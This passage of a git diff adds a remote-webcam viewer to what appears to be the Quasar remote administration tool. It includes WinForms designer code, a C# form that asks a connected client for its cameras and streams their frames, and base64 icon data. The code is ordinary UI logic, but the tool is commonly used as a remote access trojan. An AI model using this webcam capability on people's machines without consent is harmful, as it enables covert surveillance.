Iv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgo + If85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv86KiP/OCki/yYVDv8sGhP/PCwl/zoq + I/85KSL/OSki/zgoIf84KCH/OCgh/zoqI/8oGRH/NCEZ/9vV0v///////////8W9uf8pFw//MSEa/zkp + Iv84KCH/Nycg/zgoIf85KSL/OSki/zkpIv85KSL/Oioj/xwMB/8zHxj/7ero/+7q6f82Ixz/HQwJ/zss + JP86KiP/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Nycg/zoq + Iv9tXVj/Xk5I/zIiHP83JyD/OCgh/zgoIf85KSL/OCgh/zgoIf85KSL/NSUe/yQSCf+3rqv///////// + //+dko7/GQcA/zsrJP84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zAhGP8pFxL/s6el//// + ////////saek/yQSDv8yIhv/Oysk/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKOsxIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/OCgh/xsLBf8nHh3/7+bh/6efnP8GAAD/JxUQ/zsrJP85KSL/OSki/zkpIv85KSL/OCgh/zoq + I/8YBgD/kYR///7+/f/7+fn/f29p/xwLBP88LCX/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y4e + F/85Jh//u7Ou//////////////////////+4r6v/PCoi/y4eF/86KiP/OSki/zkpIv85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVFBOqs+LifvMSEa/zgoIf85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/NiYf/zkpIf9tXlj/iXx4//z38//Pysj/e2xm/1pLRP8yIRr/Nycg/zkp + Iv85KSL/OSki/zkpIv86KiP/HQsE/3hoYP/6+fn/9fTz/1xNRv8jEgv/Oisk/zkpIv85KSL/OSki/zkp + Iv86KiP/Oioj/zsrJP8xIRr/MR8Y/52Qiv/7+vn////////////7+fn/m4+I/zAfF/8yIhv/Oioj/zkp + Iv85KSL/OSki/zoqI/8tHRb/RjYv221dVov///8B////Af///wH///8B////Af///wFTQzyrPy8o7zIi + G/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zIiG/88KiL/4NfT/////////v3///7+//// + //+bko7/JBIL/zQjHP85KSL/OSki/zkpIv85KSL/Oioj/yQTC/9ZS0X/9fT0//Hv7v9DMiv/JxcQ/zoq + I/85KSL/OSki/zoqI/85KSL/KxsU/yoZEv82Jh7/Oysl/zMjHP8aCAX/lIiD//79/P/9/fz/koeD/xkH + BP80JR3/Oysk/zkpIv85KSL/OSki/zkpIv87KyT/LR0W/0MzLNtsXFWL////Af///wH///8B////Af// + /wH///8BaFhRaUU1LscsHBX/Oioj/zgoIf85KSL/OSki/zgoIf85KSL/OSki/zkpIv83JyD/OSoj/1RF + Pv9pWlP/9/Hv/8O/vP9WR0D/Szs0/zQkHP84KCH/OSki/zkpIv85KSL/OSki/zkpIv8oFxD/QjEq//Hv + 7//j3tr/OSYe/ywcFv86KiP/OSki/zkpIv86KyT/Lh0V/1A/N/9WR0D/MB8X/zMjHP87KyT/KhoU/ygV + Dv/k3tv/5N7b/yoXEP8oGRP/Oysk/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/ygYEf9MPDW7f29oWf// + /wH///8B////Af///wH///8B////AYd3cBNrW1RdLx8Y7TAgGf84KCH/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zgoIf8lEw3/MB4c/+fg2/+noZ7/FQMA/y4dFv86KiP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/LBwV/zglHf/s5uP/z8nG/y0bEv8yIhv/OSki/zkpIv87KyP/JhYQ/2dXUP/v6+n/+vn3/5iM + iP8qGBD/MiMc/zsrJP8bCwT/mImC/5WFf/8ZCQP/PCwl/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zAg + Gf81JR7nf29oUaOTjA3///8B////Af///wH///8B////Af///wH///8B////AV5OR1FDMyzRNSUe/zYm + H/83JyD/Oioj/zgoIf85KSL/OSki/zkpIv84KCH/Nycg/zgoIf9XSEL/T0A5/zUlHv85KSL/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zEhGv8tGxP/3tfV/7u1s/8gDQX/Nygh/zkpIv85KSL/PCwl/xYE + Af+qoZ7////////////X0s//Oygh/ycXEP86KiP/NCUe/0IxKf9DMiv/MiMc/zkpIv85KSL/OSki/zoq + I/83JyD/MyMc/zQkHf06KiPDWEhBQf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BZVVOGVJCO307KyTbMCAZ/zQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv83KCH/JhYO/ywb + FP87KyT/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OCgh/zgoIf82Jh//IxAI/8zGw/+uqKb/FgQA/zsr + JP85KSL/OSki/zorJP8nFg//ZlZQ/+Tg3v/v7ez/n5WQ/yoZEf80JB3/OSki/zopIv8wIBr/MCAZ/zoq + I/84KCH/OSki/zkpIv8zIxz/Lh4X/z4uJ9deTkdzX09IE////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUEA5L1lJQps4KCHtNSUe/zYmH/85KSL/OCgh/zgo + If84KCH/OSki/zsrJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/xsI + Av+yqqf/ppqU/xoJAv87KyT/OSki/zkpIv85KSL/Oysk/y0cFP9SQjv/WUlD/y8fF/8zIxz/Oysk/zkp + Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 + MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR + Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp + Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P + SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa + E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr + JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteWebcam.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteWebcam.Designer.cs new file mode 100755 index 0000000..ad57947 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteWebcam.Designer.cs @@ -0,0 +1,186 @@ +namespace Quasar.Server.Forms +{ + partial class FrmRemoteWebcam + { + private System.ComponentModel.IContainer components = null; + + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmRemoteWebcam)); + this.panelTop = new System.Windows.Forms.Panel(); + this.btnStart = new System.Windows.Forms.Button(); + this.btnStop = new System.Windows.Forms.Button(); + this.comboBox1 = new System.Windows.Forms.ComboBox(); + this.lblQualityLabel = new System.Windows.Forms.Label(); + this.lblQuality = new System.Windows.Forms.Label(); + this.trackBarQuality = new System.Windows.Forms.TrackBar(); + this.lblFPS = new System.Windows.Forms.Label(); + this.pictureBox1 = new System.Windows.Forms.PictureBox(); + this.timer1 = new System.Windows.Forms.Timer(this.components); + this.panelTop.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.trackBarQuality)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); + this.SuspendLayout(); + // + // panelTop + // + this.panelTop.BackColor = System.Drawing.SystemColors.Control; + this.panelTop.Controls.Add(this.btnStart); + this.panelTop.Controls.Add(this.btnStop); + this.panelTop.Controls.Add(this.comboBox1); + this.panelTop.Controls.Add(this.lblQualityLabel); + this.panelTop.Controls.Add(this.lblQuality); + this.panelTop.Controls.Add(this.trackBarQuality); + this.panelTop.Controls.Add(this.lblFPS); + this.panelTop.Dock = System.Windows.Forms.DockStyle.Top; + this.panelTop.ForeColor = System.Drawing.Color.White; + this.panelTop.Location = new System.Drawing.Point(0, 0); + this.panelTop.Margin = new System.Windows.Forms.Padding(4); + this.panelTop.Name = "panelTop"; + this.panelTop.Size = new System.Drawing.Size(1067, 59); + this.panelTop.TabIndex = 0; + // + // btnStart + // + this.btnStart.Enabled = false; + this.btnStart.Location = new System.Drawing.Point(13, 7); + this.btnStart.Margin = new System.Windows.Forms.Padding(4); + this.btnStart.Name = "btnStart"; + this.btnStart.Size = new System.Drawing.Size(98, 44); + this.btnStart.TabIndex = 0; + this.btnStart.Text = "Start"; + this.btnStart.UseVisualStyleBackColor = true; + this.btnStart.Click += new System.EventHandler(this.btnStart_Click); + // + // btnStop + // + this.btnStop.Enabled = false; + this.btnStop.ForeColor = System.Drawing.Color.White; + this.btnStop.Location = new System.Drawing.Point(119, 7); + this.btnStop.Margin = new System.Windows.Forms.Padding(4); + this.btnStop.Name = "btnStop"; + this.btnStop.Size = new System.Drawing.Size(102, 44); + this.btnStop.TabIndex = 1; + this.btnStop.Text = "Stop"; + this.btnStop.UseVisualStyleBackColor = true; + this.btnStop.Click += new System.EventHandler(this.btnStop_Click); + // + // comboBox1 + // + this.comboBox1.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.comboBox1.Enabled = false; + this.comboBox1.FormattingEnabled = true; + this.comboBox1.Location = new System.Drawing.Point(229, 9); + this.comboBox1.Margin = new System.Windows.Forms.Padding(4); + this.comboBox1.Name = "comboBox1"; + this.comboBox1.Size = new System.Drawing.Size(372, 24); + this.comboBox1.TabIndex = 2; + // + // lblQualityLabel + // + this.lblQualityLabel.AutoSize = true; + this.lblQualityLabel.Location = new System.Drawing.Point(609, 12); + this.lblQualityLabel.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblQualityLabel.Name = "lblQualityLabel"; + this.lblQualityLabel.Size = new System.Drawing.Size(51, 16); + this.lblQualityLabel.TabIndex = 4; + this.lblQualityLabel.Text = "Quality:"; + // + // lblQuality + // + this.lblQuality.AutoSize = true; + this.lblQuality.Location = new System.Drawing.Point(672, 12); + this.lblQuality.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblQuality.Name = "lblQuality"; + this.lblQuality.Size = new System.Drawing.Size(57, 16); + this.lblQuality.TabIndex = 5; + this.lblQuality.Text = "75 (high)"; + // + // trackBarQuality + // + this.trackBarQuality.AutoSize = false; + this.trackBarQuality.Enabled = false; + this.trackBarQuality.Location = new System.Drawing.Point(747, 7); + this.trackBarQuality.Margin = new System.Windows.Forms.Padding(4); + this.trackBarQuality.Maximum = 100; + this.trackBarQuality.Minimum = 1; + this.trackBarQuality.Name = "trackBarQuality"; + this.trackBarQuality.Size = new System.Drawing.Size(213, 44); + this.trackBarQuality.TabIndex = 6; + this.trackBarQuality.TickStyle = System.Windows.Forms.TickStyle.None; + this.trackBarQuality.Value = 75; + this.trackBarQuality.Scroll += new System.EventHandler(this.trackBarQuality_Scroll); + // + // lblFPS + // + this.lblFPS.AutoSize = true; + this.lblFPS.Location = new System.Drawing.Point(983, 21); + this.lblFPS.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblFPS.Name = "lblFPS"; + this.lblFPS.Size = new System.Drawing.Size(56, 16); + this.lblFPS.TabIndex = 7; + this.lblFPS.Text = "FPS: 0.0"; + // + // pictureBox1 + // + this.pictureBox1.BackColor = System.Drawing.Color.Black; + this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill; + this.pictureBox1.Location = new System.Drawing.Point(0, 59); + this.pictureBox1.Margin = new System.Windows.Forms.Padding(4); + this.pictureBox1.Name = "pictureBox1"; + this.pictureBox1.Size = new System.Drawing.Size(1067, 532); + this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.Zoom; + this.pictureBox1.TabIndex = 1; + this.pictureBox1.TabStop = false; + // + // timer1 + // + this.timer1.Enabled = true; + this.timer1.Interval = 1000; + this.timer1.Tick += new System.EventHandler(this.timer1_Tick); + // + // FrmRemoteWebcam + // + this.AutoScaleDimensions = new System.Drawing.SizeF(8F, 16F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(1067, 591); + this.Controls.Add(this.pictureBox1); + this.Controls.Add(this.panelTop); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Margin = new System.Windows.Forms.Padding(4); + this.MinimumSize = new System.Drawing.Size(847, 481); + this.Name = "FrmRemoteWebcam"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Remote Webcam"; + this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.FrmRemoteWebcam_FormClosed); + this.Load += new System.EventHandler(this.FrmRemoteWebcam_Load); + this.panelTop.ResumeLayout(false); + this.panelTop.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.trackBarQuality)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); + this.ResumeLayout(false); + + } + + private System.Windows.Forms.Panel panelTop; + private System.Windows.Forms.Button btnStart; + private System.Windows.Forms.Button btnStop; + public System.Windows.Forms.ComboBox comboBox1; + private System.Windows.Forms.Label lblQualityLabel; + private System.Windows.Forms.Label lblQuality; + private System.Windows.Forms.TrackBar trackBarQuality; + private System.Windows.Forms.Label lblFPS; + public System.Windows.Forms.PictureBox pictureBox1; + public System.Windows.Forms.Timer timer1; + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteWebcam.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteWebcam.cs new file mode 100755 index 0000000..f0e782f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteWebcam.cs @@ -0,0 +1,225 @@ +using Quasar.Common.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Messages; +using Quasar.Server.Models; +using Quasar.Server.Networking; +using Quasar.Server.Utilities; +using System; +using System.Diagnostics; +using System.Drawing; +using System.IO; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public partial class FrmRemoteWebcam : Form + { + private readonly Client _connectClient; + private WebcamHandler _webcamHandler; + private readonly Stopwatch _sw = new Stopwatch(); + private int _fpsCounter; + private bool _isStreaming; + + private static readonly System.Collections.Generic.Dictionary OpenedForms = + new System.Collections.Generic.Dictionary(); + + public static FrmRemoteWebcam CreateNewOrGetExisting(Client client) + { + if (OpenedForms.ContainsKey(client)) + { + var existing = OpenedForms[client]; + if (!existing.IsDisposed) + return existing; + OpenedForms.Remove(client); + } + var frm = new FrmRemoteWebcam(client); + frm.Disposed += (s, e) => OpenedForms.Remove(client); + OpenedForms.Add(client, frm); + return frm; + } + + public FrmRemoteWebcam(Client client) + { + _connectClient = client; + InitializeComponent(); + _connectClient.ClientState += OnClientStateChange; + } + + private void RegisterMessageHandler() + { + _webcamHandler = new WebcamHandler(); + _webcamHandler.ImageReceived += OnImageReceived; + _webcamHandler.WebcamsReceived += OnWebcamsReceived; + MessageHandler.Register(_webcamHandler); + } + + private void UnregisterMessageHandler() + { + if (_webcamHandler == null) return; + MessageHandler.Unregister(_webcamHandler); + _webcamHandler.ImageReceived -= OnImageReceived; + _webcamHandler.WebcamsReceived -= OnWebcamsReceived; + _webcamHandler.Dispose(); + _webcamHandler = null; + } + + private void OnClientStateChange(Client s, bool connected) + { + if (!connected) + this.Invoke((MethodInvoker)Close); + } + + private void FrmRemoteWebcam_Load(object sender, EventArgs e) + { + if (Settings.DarkMode) DarkModeManager.ApplyDarkMode(this); + ThemeManager.ApplyThemeToNewForm(this); + this.Text = $"Remote Webcam - {_connectClient.EndPoint.Address}:{_connectClient.EndPoint.Port}"; + RegisterMessageHandler(); + _connectClient.Send(new GetWebcams()); + } + + private void OnImageReceived(object sender, byte[] data) + { + if (data == null || data.Length == 0 || IsDisposed) return; + try + { + this.BeginInvoke((MethodInvoker)delegate + { + if (IsDisposed || !_isStreaming) return; + try + { + using (var ms = new MemoryStream(data)) + { + var img = Image.FromStream(ms); + var old = pictureBox1.Image; + pictureBox1.Image = img; + old?.Dispose(); + } + _fpsCounter++; + if (_sw.ElapsedMilliseconds >= 1000) + { + lblFPS.Text = $"FPS: {_fpsCounter / (_sw.ElapsedMilliseconds / 1000.0):F1}"; + _fpsCounter = 0; + _sw.Restart(); + } + } + catch { } + }); + } + catch { } + } + + private void OnWebcamsReceived(object sender, string webcams) + { + if (IsDisposed) return; + try + { + this.BeginInvoke((MethodInvoker)delegate + { + if (IsDisposed) return; + comboBox1.Items.Clear(); + foreach (var cam in webcams.Split(new[] { "=>" }, StringSplitOptions.RemoveEmptyEntries)) + { + var name = cam.TrimStart('-').Trim(); + if (!string.IsNullOrWhiteSpace(name)) + comboBox1.Items.Add(name); + } + + if (comboBox1.Items.Count > 0) + { + comboBox1.SelectedIndex = 0; + comboBox1.Enabled = true; + btnStart.Enabled = true; + trackBarQuality.Enabled = true; + } + else + { + MessageBox.Show("No webcams found on the client.", "Webcam", + MessageBoxButtons.OK, MessageBoxIcon.Information); + Close(); + } + }); + } + catch { } + } + + private void btnStart_Click(object sender, EventArgs e) + { + _connectClient.Send(new DoWebcamStart + { + CameraIndex = comboBox1.SelectedIndex, + Quality = trackBarQuality.Value + }); + btnStart.Enabled = false; + btnStop.Enabled = true; + trackBarQuality.Enabled = false; + comboBox1.Enabled = false; + _isStreaming = true; + _fpsCounter = 0; + _sw.Restart(); + } + + private void btnStop_Click(object sender, EventArgs e) + { + StopStream(); + } + + private void StopStream() + { + if (!_isStreaming) return; + _isStreaming = false; + _connectClient.Send(new DoWebcamStop()); + btnStart.Enabled = true; + btnStop.Enabled = false; + trackBarQuality.Enabled = true; + comboBox1.Enabled = true; + lblFPS.Text = "FPS: 0.0"; + _fpsCounter = 0; + _sw.Reset(); + var old = pictureBox1.Image; + pictureBox1.Image = null; + old?.Dispose(); + } + + private void btnHide_Click(object sender, EventArgs e) + { + WindowState = FormWindowState.Minimized; + } + + private void trackBarQuality_Scroll(object sender, EventArgs e) + { + int v = trackBarQuality.Value; + lblQuality.Text = $"{v} ({(v >= 80 ? "high" : v >= 50 ? "medium" : "low")})"; + if (_isStreaming) + { + _connectClient.Send(new DoWebcamStop()); + _connectClient.Send(new DoWebcamStart + { + CameraIndex = comboBox1.SelectedIndex, + Quality = v + }); + } + } + + private void timer1_Tick(object sender, EventArgs e) + { + if (!_connectClient.Connected) + Close(); + } + + private void FrmRemoteWebcam_FormClosed(object sender, FormClosedEventArgs e) + { + timer1.Stop(); + _connectClient.ClientState -= OnClientStateChange; + if (_isStreaming) + { + _isStreaming = false; + try { _connectClient.Send(new DoWebcamStop()); } catch { } + } + UnregisterMessageHandler(); + var old = pictureBox1.Image; + pictureBox1.Image = null; + old?.Dispose(); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteWebcam.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteWebcam.resx new file mode 100755 index 0000000..6a58bde --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteWebcam.resx @@ -0,0 +1,662 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// + /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// + /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws + JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo + If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL + Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex + Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub + lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S + zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW + 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI + hP+MgX3/Nycg/zgoIf9aTEb/WUtG/zkpIv85KSL1bl5XI1ZGPyc4KCH5OCgh/zgoIf+upqP/TT85/zgo + If9uYl3/aVxX/zgoIf84KCH/kIaC/5CGgv84KCH/OCgh83BgWSGHd3ADPi4nYTgoIek4KCH/Sjs0/zUl + Hv84KCH/WUtF/1FDPf9BMSr/loyI/zsrJP88LCX/OSki5z4uJ13///8B////Af///wFKOjMROyskjTgo + Ifk4KCH/OSki/0Y2L/9DMyz/OCgh/zUlHv84KCH5Oioji1NDPA////8B////Af///wH///8B////Af// + /wFGNi8pOCghtTgoIf84KCH/OCgh/zcnIP06KiOxQTEqJ////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wE8LCVJOCgh0zgoIdE+LidH////Af///wH///8B////Af///wH///8BAAD//wAA + 